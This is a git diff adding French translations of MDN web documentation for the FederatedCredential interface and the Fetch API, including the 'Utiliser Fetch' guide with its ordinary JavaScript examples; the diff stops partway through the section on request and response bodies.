diff --git a/files/fr/web/api/federatedcredential/federatedcredential/index.html b/files/fr/web/api/federatedcredential/federatedcredential/index.html
new file mode 100644
index 0000000000..a1d4f0a357
--- /dev/null
+++ b/files/fr/web/api/federatedcredential/federatedcredential/index.html
@@ -0,0 +1,56 @@
+---
+title: FederatedCredential
+slug: Web/API/FederatedCredential/FederatedCredential
+tags:
+  - API
+  - Constructeur
+  - Credential Management API
+  - FederatedCredential
+  - Reference
+translation_of: Web/API/FederatedCredential/FederatedCredential
+---
+<p>{{APIRef("")}}{{Non-standard_header}}</p>
+
+<p>Le constructeur <strong><code>FederatedCredential</code></strong> permet de créer un nouvel objet {{domxref("FederatedCredential")}}.</p>
+
+<p>Pour les navigateurs qui le prennent en charge, une instance de cette classe pourra être passée comme propriété <code>credential</code> pour l'objet <code>init</code> utilisé comme argument pour {{domxref('fetch')}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mesCredentials = new FederatedCredential(init)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>init</code></dt>
+ <dd>Les propriétés de cet objet sont :
+ <ul>
+  <li><code>provider</code> : une chaîne de caractères {{domxref("USVString")}} identifiant le fournisseur d'information d'authentification.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.FederatedCredential.FederatedCredential")}}</p>
diff --git a/files/fr/web/api/federatedcredential/index.html b/files/fr/web/api/federatedcredential/index.html
new file mode 100644
index 0000000000..af7878b9c1
--- /dev/null
+++ b/files/fr/web/api/federatedcredential/index.html
@@ -0,0 +1,79 @@
+---
+title: FederatedCredential
+slug: Web/API/FederatedCredential
+tags:
+  - API
+  - Credential Management API
+  - Interface
+  - Reference
+translation_of: Web/API/FederatedCredential
+---
+<p>{{SeeCompatTable}}{{APIRef("Credential Management API")}}</p>
+
+<p>L'interface <strong><code>FederatedCredential</code></strong>, rattachée à l'<a href="/en-US/docs/Web/API/Credential_Management_API">API Credential Management</a>, donne des détails quant aux informations d'authentification fournies par un fournisseur d'identité fédéré. Un fournisseur d'identité fédéré est une entité en laquelle un site web à confiance pour authentifier un utilisateur et qui fournit une API à cet effet. <a href="http://openid.net/developers/specs/">OpenID Connect</a> est un exemple de <em>framework</em> pour construire un fournisseur d'identité fédéré.</p>
+
+<p>Pour les navigateurs qui le prennent en charge, une instance de cette interface pourra être passée comme propriété <code>credential</code> de l'objet <code>init</code> pour la méthode globale {{domxref('fetch')}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("FederatedCredential.FederatedCredential()","FederatedCredential()")}}</dt>
+ <dd>Crée un nouvel objet <code>FederatedCredential</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de l'interface parente : {{domxref("Credential")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("FederatedCredential.provider")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("USVString")}} qui contient l'information sur le fournisseur d'authentification fédéré.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'évènements">Gestionnaires d'évènements</h3>
+
+<p>Aucun.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucun.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var cred = new FederatedCredential({
+  id: id,
+  name: name,
+  provider: 'https://account.google.com',
+  iconURL: iconUrl
+});
+
+// Enregistrer les informations d'authentification
+navigator.credentials.store(cred)
+  .then(function() {
+  // Faire quelque chose
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.FederatedCredential")}}</p>
diff --git a/files/fr/web/api/federatedcredential/provider/index.html b/files/fr/web/api/federatedcredential/provider/index.html
new file mode 100644
index 0000000000..7eaaa61e81
--- /dev/null
+++ b/files/fr/web/api/federatedcredential/provider/index.html
@@ -0,0 +1,51 @@
+---
+title: FederatedCredential.provider
+slug: Web/API/FederatedCredential/provider
+tags:
+  - API
+  - Credential Management API
+  - FederatedCredential
+  - Propriété
+  - Reference
+translation_of: Web/API/FederatedCredential/provider
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}</p>
+
+<p>La propriété <strong><code>provider</code></strong>, rattachée à l'interface {{domxref("FederatedCredential")}}, fournit une chaîne de caractères {{domxref("USVString")}} qui décrit un fournisseur d'identité fédéré.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var provider = FederatedCredential.provider</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères {{domxref("USVString")}} identifiant un fournisseur d'identité fédéré.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.FederatedCredential.provider")}}</p>
diff --git a/files/fr/web/api/fetch_api/basic_concepts/index.html b/files/fr/web/api/fetch_api/basic_concepts/index.html
new file mode 100644
index 0000000000..9d87d1cc6e
--- /dev/null
+++ b/files/fr/web/api/fetch_api/basic_concepts/index.html
@@ -0,0 +1,66 @@
+---
+title: 'Fetch : concepts de départ'
+slug: Web/API/Fetch_API/Basic_concepts
+translation_of: Web/API/Fetch_API/Basic_concepts
+---
+<p>{{DefaultAPISidebar("Fetch API")}}{{draft}}</p>
+
+<div class="summary">
+<p>L'API <a href="/en-US/docs/Web/API/Fetch_API">Fetch </a>fournit une interface pour récupérer des ressources (y compris depuis le réseau). Elle paraîtra familière à quiconque aura déjà utilisé {{domxref("XMLHttpRequest")}}, mais elle fournit un jeu de fonctionnalités plus puissantes et plus souples. Cet article explique quelques uns des principes de base de l'API Fetch.</p>
+</div>
+
+<div class="note">
+<p>This article will be added to over time. If you find a Fetch concept that you feel needs explaining better, let someone know on the <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>, or <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> (#mdn room.)</p>
+</div>
+
+<h2 id="In_a_nutshell">In a nutshell</h2>
+
+<p>At the heart of Fetch are the Interface abstractions of HTTP {{domxref("Request")}}s, {{domxref("Response")}}s, {{domxref("Headers")}}, and {{domxref("Body")}} payloads, along with a {{domxref("GlobalFetch.fetch","global fetch")}} method for initiating asynchronous resource requests. Because the main components of HTTP are abstracted as JavaScript objects, it is easy for other APIs to make use of such functionality.</p>
+
+<p><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a> is an example of an API that makes heavy use of Fetch.</p>
+
+<p>Fetch takes the asynchronous nature of such requests one step further. The API is completely {{jsxref("Promise")}}-based.</p>
+
+<h2 id="Guard">Guard</h2>
+
+<p>Guard is a feature of {{domxref("Headers")}} objects, with possible values of <code>immutable</code>, <code>request</code>, <code>request-no-cors</code>, <code>response</code>, or <code>none</code>, depending on where the header is used.</p>
+
+<p>When a new {{domxref("Headers")}} object is created using the {{domxref("Headers.Headers","Headers()")}} {{glossary("constructor")}}, its guard is set to <code>none</code> (the default). When a {{domxref("Request")}} or {{domxref("Response")}} object is created, it has an associated {{domxref("Headers")}} object whose guard is set as summarized below:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">new object's type</th>
+   <th scope="col">creating constructor</th>
+   <th scope="col">guard setting of associated {{domxref("Headers")}} object</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="2">{{domxref("Request")}}</td>
+   <td>{{domxref("Request.Request","Request()")}}</td>
+   <td><code>request</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Request.Request","Request()")}} with {{domxref("Request.mode","mode")}} of <code>no-cors</code></td>
+   <td><code>request-no-cors</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">{{domxref("Response")}}</td>
+   <td>{{domxref("Response.Response","Response()")}}</td>
+   <td><code>response</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Response.error","error()")}} or {{domxref("Response.redirect","redirect()")}} methods</td>
+   <td><code>immutable</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>A header's guard affects the {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, and {{domxref("Headers.append","append()")}} methods which change the header's contents. A <code>TypeError</code> is thrown if you try to modify a {{domxref("Headers")}} object whose guard is <code>immutable</code>. However, the operation will work if</p>
+
+<ul>
+ <li>guard is <code title="">request</code> and the header <var>name</var> isn't a {{Glossary("forbidden header name")}} .</li>
+ <li>guard is <code title="">request-no-cors</code> and the header <var>name</var>/<var>value</var> is a {{Glossary("simple header")}} .</li>
+ <li>guard is <code title="">response</code> and the header <var>name</var> isn't a {{Glossary("forbidden response header name")}} .</li>
+</ul>
diff --git a/files/fr/web/api/fetch_api/index.html b/files/fr/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..1c5a2370e7
--- /dev/null
+++ b/files/fr/web/api/fetch_api/index.html
@@ -0,0 +1,81 @@
+---
+title: API Fetch
+slug: Web/API/Fetch_API
+translation_of: Web/API/Fetch_API
+---
+<p>{{DefaultAPISidebar("Fetch API")}}</p>
+
+<p>L'API Fetch fournit une interface pour la récupération de ressources (e.g., à travers le réseau.) Elle paraîtra familière à tout utilisateur de {{domxref("XMLHttpRequest")}}, mais cette nouvelle API propose néanmoins un ensemble de fonctionnalités plus souples et plus puissantes.</p>
+
+<h2 id="Concepts_et_usage">Concepts et usage</h2>
+
+<p>Fetch fournit une définition générique des objets {{domxref("Request")}} et {{domxref("Response")}} (et d'autres choses impliquées par les requêtes réseau). Ainsi il sera possible de les utiliser dès que nécessaire à l'avenir, même si c'est dans le cadre de <em lang="en">service workers</em>, de l'API Cache ou d'autres mécanismes similaires qui manipulent ou modifient des requêtes et des réponses, ou n'importe quelle situation qui pourrait requérir que vous génériez vos propres réponses au moyen d'un programme.</p>
+
+<p>Elle fournit également une définition pour des concepts associés tels que CORS et la sémantique de l'en-tête HTTP <em lang="en">origin</em>, supplantant les définitions précédemment proposées ailleurs.</p>
+
+<p>Pour effectuer une requête et obtenir une ressource, utilisez la méthode {{domxref("GlobalFetch.fetch")}}. Elle est implémentée dans de multiples interfaces, et en particulier dans {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}. Ce qui la rend disponible de la même manière dans tout contexte où vous souhaiteriez récupérer des ressources.</p>
+
+<p>La méthode <code>fetch()</code> prend un argument obligatoire, le chemin vers la ressource souhaitée. Elle retourne une promesse qui résout la {{domxref("Response")}} de cette requête, qu'elle soit couronnée de succès ou non. Vous pouvez aussi optionnellement lui passer un objet d'options <code>init</code> comme second argument (voir {{domxref("Request")}}.)</p>
+
+<p>Une fois que la {{domxref("Response")}} a été retournée, il y a un ensemble de méthodes disponibles pour déterminer ce que doit être le contenu du corps et comment il doit être manipulé (voir {{domxref("Body")}}.)</p>
+
+<p>Vous pourriez créer une requête et une réponse directement en utilisant les constructeurs {{domxref("Request.Request","Request()")}} et {{domxref("Response.Response","Response()")}}, même s'il est improbable que vous procédiez ainsi. Il est plus probable cependant que leur création résulte des actions d'une autre API (par exemple, {{domxref("FetchEvent.respondWith")}} des <em lang="en">service workers</em>).</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: pour en savoir plus sur l'utilisation des fonctionnalités de l'API Fetch et en approfondir les concepts, consulter respectivement <a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Utiliser Fetch</a> et <a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch, les concepts de base</a>.</p>
+</div>
+
+<h3 id="Interrompre_un_fetch">Interrompre un fetch</h3>
+
+<p>Les navigateurs ont commencé à ajouter le support expérimental des interfaces {{DOMxRef("AbortController")}} et {{DOMxRef("AbortSignal")}} (connue aussi sous le nom d'API d'interruption), qui autorisent les opérations telles que Fetch et XHR à être interrompue si elles ne sont pas encore achevées. Voir les pages des interfaces pour plus de détails.</p>
+
+<h2 id="Les_interfaces_de_Fetch">Les interfaces de Fetch</h2>
+
+<dl>
+ <dt>{{domxref("GlobalFetch")}}</dt>
+ <dd>La méthode <code>fetch()</code> est utilisée pour récuperer une ressource.</dd>
+ <dt>{{domxref("Headers")}}</dt>
+ <dd>Représente les en-têtes de requête et de réponse, vous permettant de les consulter et de prendre différentes décisions en fonction du résultat.</dd>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>Représente la requête d'une ressource.</dd>
+ <dt>{{domxref("Response")}}</dt>
+ <dd>Représente la réponse à une requête.</dd>
+</dl>
+
+<h2 id="Mixin_de_Fetch">Mixin de Fetch</h2>
+
+<dl>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Fournit les méthodes relatives au corps de la requête/réponse, vous permettant  de déclarer quel est son type de contenu et comment il doit être manipulé.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_Navigateurs">Compatibilité Navigateurs</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a></li>
+</ul>
diff --git a/files/fr/web/api/fetch_api/using_fetch/index.html b/files/fr/web/api/fetch_api/using_fetch/index.html
new file mode 100644
index 0000000000..9282e3c392
--- /dev/null
+++ b/files/fr/web/api/fetch_api/using_fetch/index.html
@@ -0,0 +1,314 @@
+---
+title: Utiliser Fetch
+slug: Web/API/Fetch_API/Using_Fetch
+tags:
+  - API
+  - BODY
+  - Expérimental(2)
+  - Fetch
+  - Guide
+  - Promesse
+  - Promise
+  - Response
+  - request
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p>{{DefaultAPISidebar("Fetch API")}}</p>
+
+<div class="summary">
+<p>L'<a href="/fr/docs/Web/API/Fetch_API">API Fetch</a> fournit une interface JavaScript pour l'accès et la manipulation des parties de la pipeline HTTP, comme les requêtes et les réponses. Cela fournit aussi une méthode globale {{domxref("GlobalFetch.fetch","fetch()")}} qui procure un moyen facile et logique de récupérer des ressources à travers le réseau de manière asynchrone.</p>
+</div>
+
+<p>Ce genre de fonctionnalité était auparavant réalisé avec {{domxref("XMLHttpRequest")}}. Fetch fournit une meilleure alternative qui peut être utilisée facilement par d’autres technologies comme {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch fournit aussi un endroit unique et logique pour la définition d'autres concepts liés à HTTP comme CORS et les extensions d'HTTP.</p>
+
+<h2 id="Létat_actuel_du_support_par_les_navigateurs">L'état actuel du support par les navigateurs</h2>
+
+<p>Le support de Fetch est à ses débuts, mais les choses progressent. Il a été activé par défaut sur Firefox 39 et supérieur, et sur Chrome 42 et supérieur.</p>
+
+<p>Si vous souhaitez l'utiliser maintenant, il y a un <a class="external" href="https://github.com/github/fetch">polyfill Fetch</a> disponible qui recrée la fonctionnalité pour les navigateurs qui ne le supportent pas. Gardez à l'esprit qu'il est au stade expérimental et pas encore complètement fonctionnel.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Certaines préoccupations ont été soulevées sur le fait que la <a class="external" href="https://fetch.spec.whatwg.org/">spécification de Fetch</a> est en contradition avec la <a class="external" href="https://streams.spec.whatwg.org/">spécification de Streams</a>; cependant, les prévisions montrent une intention d'intégrer Streams avec Fetch: pour plus d'informations reportez vous à <a class="external" href="https://github.com/yutakahirano/fetch-with-streams/">Fetch API integrated with Streams</a>.</p>
+</div>
+
+<h2 id="Détection_de_la_fonctionnalité">Détection de la fonctionnalité</h2>
+
+<p>Le support de l'API Fetch peut être détecté en vérifiant l'existence de {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} ou {{domxref("GlobalFetch.fetch","fetch()")}} sur la portée de {{domxref("Window")}} ou de {{domxref("Worker")}}. Par exemple, vous pouvez faire cela dans votre script :</p>
+
+<pre class="brush: js">if (window.fetch) {
+    // exécuter ma requête fetch ici
+} else {
+    // Faire quelque chose avec XMLHttpRequest?
+}</pre>
+
+<h2 id="Créer_une_requête_fetch">Créer une requête fetch</h2>
+
+<p>Une requête fetch basique est vraiment simple à initier. Jetez un coup d'œil au code suivant :</p>
+
+<pre class="brush: js">const myImage = document.querySelector('img');
+
+fetch('flowers.jpg')
+.then(function(response) {
+  return response.blob();
+})
+.then(function(myBlob) {
+  const objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+
+</pre>
+
+<p>Ici nous récupérons une image à travers le réseau et l'insérons dans un élément {{htmlelement("img")}}. L'utilisation la plus simple de <code>fetch()</code> prend un argument — le chemin de la ressource que nous souhaitons récupérer — et retourne une promesse (promise) contenant, en réponse, un objet (de type {{domxref("Response")}}).</p>
+
+<p>Bien sûr, il s'agit seulement d'une réponse HTTP, pas exactement de l'image. Pour extraire le contenu de l'image de la réponse, nous utilisons la méthode {{domxref("Body.blob","blob()")}} (définie sur le mixin {{domxref("Body")}}, qui est implémenté autant par les objets {{domxref("Request")}} que par les objets {{domxref("Response")}}).</p>
+
+<div class="note">
+<p><strong>Note </strong>: Le mixin Body a aussi des méthodes similaires pour extraire d'autres types contenu ; pour plus d'informations regardez la section {{anch("Corps")}}.</p>
+</div>
+
+<p>Un objet <code>objectURL</code> est ensuite créé à partir du {{domxref("Blob")}} extrait, puis est inseré dans {{domxref("img")}}.</p>
+
+<p>Les requêtes Fetch sont controllées par la directive <code>connect-src</code> du <a href="/fr/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a> plutôt que par la directive de la ressource dont il s’agit de la récupération.</p>
+
+<h3 id="Fournir_des_options_à_la_requête">Fournir des options à la requête</h3>
+
+<p>La méthode <code>fetch()</code> accepte un second paramètre, optionnel ; un objet <code>init</code> qui vous permet de contrôler un certain nombre de réglages :</p>
+
+<pre class="brush: js">var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+fetch('flowers.jpg',myInit)
+.then(function(response) {
+  return response.blob();
+})
+.then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+
+</pre>
+
+<p>Reportez-vous à {{domxref("GlobalFetch.fetch","fetch()")}} pour la liste complète des options disponibles, et plus de détails.</p>
+
+<h3 id="Vérifier_que_la_récupération_a_réussi">Vérifier que la récupération a réussi</h3>
+
+<p>Une promesse {{domxref("GlobalFetch.fetch","fetch()")}} va retourner une {{jsxref("TypeError")}} quand un problème réseau s'est produit. Cependant, il peut aussi s'agir d'un problème de permission ou quelque chose de similaire — un code HTTP 404 ne constitue pas une erreur réseau, par exemple. Un bon test de la réussite de <code>fetch()</code> devrait inclure la vérification que la promesse soit résolue, puis vérifier que la propriété {{domxref("Response.ok")}} ait la valeur <em>true</em>. Le code devrait ressembler à ce qui suit:</p>
+
+<pre class="brush: js">fetch('flowers.jpg').then(function(response) {
+  if(response.ok) {
+    response.blob().then(function(myBlob) {
+      var objectURL = URL.createObjectURL(myBlob);
+      myImage.src = objectURL;
+    });
+  } else {
+    console.log('Mauvaise réponse du réseau');
+  }
+})
+.catch(function(error) {
+  console.log('Il y a eu un problème avec l\'opération fetch: ' + error.message);
+});</pre>
+
+<h3 id="Fournir_votre_propre_objet_requête">Fournir votre propre objet requête</h3>
+
+<p>Plutôt que de transmettre le chemin de la ressource que vous souhaitez récupérer avec l'appel <code>fetch()</code>, vous pouvez créer un objet de requête en utilisant le constructeur {{domxref("Request.Request","Request()")}}, et le transmettre à la méthode <code>fetch()</code> en tant qu’argument:</p>
+
+<pre class="brush: js">var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+fetch(myRequest,myInit)
+.then(function(response) {
+  return response.blob();
+})
+.then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});</pre>
+
+<p><code>Request()</code> accepte exactement les mêmes paramètres que la méthode <code>fetch()</code>. Vous pouvez même lui transmettre un objet Request existant pour en créer une copie :</p>
+
+<pre class="brush: js">var anotherRequest = new Request(myRequest,myInit);</pre>
+
+<p>C'est très pratique, si le corps de la requête et de la réponse ne sont utilisés qu'une fois seulement. Cette manière de faire une copie permet de ré-utiliser la requête/réponse, en changeant juste les options du <code>init</code> si nécessaire.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Il y a aussi une méthode {{domxref("Request.clone","clone()")}} qui créer une copie. <span id="result_box" lang="fr"><span>Cela a</span> <span>une sémantique légèrement différente</span> <span>à l'autre</span> <span>méthode de copie</span></span>— La première va échouer si l'ancien corps de la requête a déjà été lu (même pour copier une réponse), alors qu'avec <code>clone()</code> non.</p>
+</div>
+
+<h2 id="En-têtes_Headers">En-têtes (Headers)</h2>
+
+<p>L'interface {{domxref("Headers")}} vous permet de créer vos propres objets d'en-têtes via le constructeur {{domxref("Headers.Headers","Headers()")}}. Un objet en-tête est un simple ensemble de plusieurs clé-valeurs:</p>
+
+<pre class="brush: js">var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");</pre>
+
+<p>On peut atteindre le même résultat en transmettant un tableau de tableaux ou un objet littéral au constructeur:</p>
+
+<pre class="brush: js">myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});</pre>
+
+<p>Le contenu peut être interrogé et récupéré:</p>
+
+<pre class="brush: js">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]</pre>
+
+<p>Certaines de ces opérations sont seulement utiles dans {{domxref("ServiceWorker_API","ServiceWorkers")}}, mais elles fournissent une bien meilleur API pour la manipulation des en-têtes.</p>
+
+<p>Toutes les méthodes d'en-tête provoquent une erreur TypeError si un nom d’en-tête utilisé n'est pas un nom d’en-tête HTTP valide. Les opérations de mutation vont provoquer une erreur TypeError si il y a une protection immutable (voir ci-dessous). Sinon elles vont échouer en silence. Par exemple :</p>
+
+<pre class="brush: js">var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("Ne peut pas prétendre être une banque!");
+}</pre>
+
+<p>Un bon cas d'utilisation des en-têtes est de vérifier que le type de contenu récupéré est correct avant de poursuivre le traitement. Par exemple:</p>
+
+<pre class="brush: js">fetch(myRequest).then(function(response) {
+  var contentType = response.headers.get("content-type");
+  if(contentType &amp;&amp; contentType.indexOf("application/json") !== -1) {
+    return response.json().then(function(json) {
+      // traitement du JSON
+    });
+  } else {
+    console.log("Oops, nous n'avons pas du JSON!");
+  }
+});</pre>
+
+<h3 id="Protection_Guard">Protection (Guard)</h3>
+
+<p>Puisque les en-têtes peuvent être envoyés dans les requêtes et reçus dans les réponses, et ont diverses limitations sur quelles informations peuvent et doivent être mutables, les objets en-tête ont une propriété <em>guard</em>. Ce n'est pas exposé au Web, mais cela définit quelle opération de mutation est autorisée sur l'objet en-tête.</p>
+
+<p>Les valeurs possibles de la propriété <em>guard</em> sont:</p>
+
+<ul>
+ <li><code>none</code>: défaut.</li>
+ <li><code>request</code>: guard pour l’en-tête obtenu d'une requête ({{domxref("Request.headers")}}).</li>
+ <li><code>request-no-cors</code>: guard pour l'en-tête obtenu d'une requête créé avec {{domxref("Request.mode")}} <code>no-cors</code>.</li>
+ <li><code>response</code>: guard pour l'en-tête obtenu d'une réponse ({{domxref("Response.headers")}}).</li>
+ <li><code>immutable</code>: majoritairement utilisé pour les ServiceWorkers; retourne un objet en-tête en lecture seule.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Vous ne pouvez pas ajouter ou définir sur une requête protegée une en-tête <code>Content-Length</code>. De manière similaire, ajouter <code>Set-Cookie</code> dans l'en-tête de réponse n'est pas autorisé: les ServiceWorkers ne sont pas autorisés à gérer des cookies via des réponses synthétisées.</p>
+</div>
+
+<h2 id="Réponses">Réponses</h2>
+
+<p>Comme vous l'avez vu ci-dessus, des instances de {{domxref("Response")}} sont retournées quand la promesse de <code>fetch()</code> est résolue.</p>
+
+<p>Elles peuvent aussi être programmées dans le code via JavaScript, mais c'est seulement utile concernant les {{domxref("ServiceWorker_API", "ServiceWorkers")}}, quand vous retournez, pour une requête reçue, une réponse personnalisée en utilisant la méthode {{domxref("FetchEvent.respondWith","respondWith()")}}:</p>
+
+<pre class="brush: js">var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  event.respondWith(new Response(myBody, {
+    headers: { "Content-Type" : "text/plain" }
+  });
+)});</pre>
+
+<p>Le constructeur {{domxref("Response.Response","Response()")}} prend deux arguments optionnels —le corps de la réponse, et un objet d'options (similaire à l'objet que {{domxref("Request.Request","Request()")}} accepte).</p>
+
+<p>Les propriétés de réponse les plus communes que vous allez utiliser sont:</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} —Un entier (valeur par défaut 200) contenant le code de statut de la réponse.</li>
+ <li>{{domxref("Response.statusText")}} — Une chaine de caractères (valeur par défaut "OK"), qui correspond au message du statut HTTP.</li>
+ <li>{{domxref("Response.ok")}} —vu précedemment, c'est un raccourci pour vérifier que le code de statut et bien compris entre 200 et 299 inclus. Retourne un {{domxref("Boolean")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: La méthode statique {{domxref("Response.error","error()")}} retourne simplement une réponse d'erreur. De manière similaire, {{domxref("Response.redirect","redirect()")}} retourne une réponse de redirection vers une URL spécifique. Elles sont aussi pertinentes pour les Service Workers.</p>
+</div>
+
+<h2 id="Corps">Corps</h2>
+
+<p>Autant une requête qu'une réponse peut contenir un corps avec des données. Un corps est une instance de n'importe lequel des types suivants:</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array et ses proches)</li>
+ <li>{{domxref("Blob")}}/Fichier</li>
+ <li>chaine de caractères</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>Le mixin {{domxref("Body")}} définit les méthodes suivantes pour extraire le corps (implémenté autant par la {{domxref("Request")}} que par la {{domxref("Response")}}). Elles retournent toutes une promesse qui sera éventuellement résolue avec le contenu actuel.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
